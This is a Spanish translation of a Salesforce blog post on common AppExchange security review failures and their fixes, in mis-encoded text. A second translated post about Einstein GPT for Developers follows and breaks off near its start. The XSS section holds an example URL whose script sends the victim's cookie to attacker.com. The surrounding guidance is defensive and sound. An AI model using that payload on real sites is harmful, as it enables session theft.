Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

